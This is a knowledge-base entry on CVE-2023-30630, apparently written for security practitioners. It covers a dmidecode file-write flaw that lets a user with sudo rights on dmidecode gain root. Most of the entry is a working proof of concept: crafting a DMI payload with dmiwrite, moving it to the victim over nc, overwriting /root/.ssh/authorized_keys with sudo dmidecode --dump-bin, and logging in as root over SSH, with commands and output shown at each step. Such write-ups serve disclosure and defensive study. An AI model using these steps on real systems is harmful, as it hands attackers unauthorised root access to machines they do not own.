—Knowledge Base

CVE-2023-30630

Updated 26 May 2026

Background

Sudo File Write to Privilege Escalation

  1. CVSS
    7.1—High
  2. VECTOR
    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
  3. IMPACT
    Privilege escalation, Arbitrary file write
  1. AFFECTED
    dmidecode≤ 1.8< 3.5¹

Dmidecode is a tool for dumping a computer's DMI (SMBIOS) table contents in a human-readable format. With sudo access to dmidecode, a low-privileged user can exploit a file write vulnerability to escalate privileges to root.

Caveats:

  • Files written via dmidecode will be owned by root; overwriting existing files preserves their permissions
  • Directories cannot be created — the .ssh directory must already exist for SSH key-based exploitation
  • dmidecode prepends junk data to written files (invisible with cat, visible in vi/vim) — place SSH keys on row 2 or below to avoid corruption
  • Version 3.3¹ has a SEGFAULT bug; the vulnerability works on all versions between 1.8 and 3.4 except 3.3
  • For root SSH access, PermitRootLogin must be enabled in /etc/ssh/sshd_config
Reproduction

POC || GTFO

Step 1 — Confirm sudo access and dmidecode version

zsh
[user@victimHost ~]$ sudo -l
User user may run the following commands on victimHost:
    (root) NOPASSWD: /usr/sbin/dmidecode
 
[user@victimHost ~]$ /usr/sbin/dmidecode -V
3.2

Step 2 — Prepare authorized_keys on attack machine

The first line will be overwritten with junk characters — place a dummy key on line 1 and the real key on line 2:

zsh
➜ cat authorized_keys
ssh-rsa nothing
ssh-rsa AAAAB3NzaC...[SNIP]

Step 3 — Build DMI payload with dmiwrite

zsh
➜ ./dmiwrite authorized_keys authorized_keys.dmi
Wrote payload of length 741 to authorized_keys.dmi
Padding 982301 bytes to authorized_keys.dmi
    Setting checksum: memset(buf+30, 130, 1);
 
Wrote DMI header of length 32 to authorized_keys.dmi
Padding 65536 bytes to authorized_keys.dmi
Congratulations, authorized_keys.dmi looks like a valid DMI file.

Step 4 — Transfer payload to victim

zsh
## victim
[user@victimHost tmp]$ nc -lvp 4488 > authorized_keys.dmi
 
## attacker
➜ nc -w3 victimHost 4488 < authorized_keys.dmi

Step 5 — Write to privileged location

The No such file or directory error is misleading — the write succeeds regardless:

zsh
[user@victimHost tmp]$ sudo /usr/sbin/dmidecode -d authorized_keys.dmi --no-sysfs --dump-bin /root/.ssh/authorized_keys
# dmidecode 3.2
Scanning authorized_keys.dmi for entry point.
SMBIOS 2.1 present.
1 structures occupying 741 bytes.
Table at 0x00000000.
 
# Writing 741 bytes to /root/.ssh/authorized_keys.
# Writing 0 bytes to /root/.ssh/authorized_keys.
/root/.ssh/authorized_keys: fwrite: No such file or directory

Step 6 — Authenticate as root

zsh
➜ ssh root@victimHost -i victim-id_rsa
[root@victimHost ~]# id
uid=0(root) gid=0(root) groups=0(root)
References

Further reading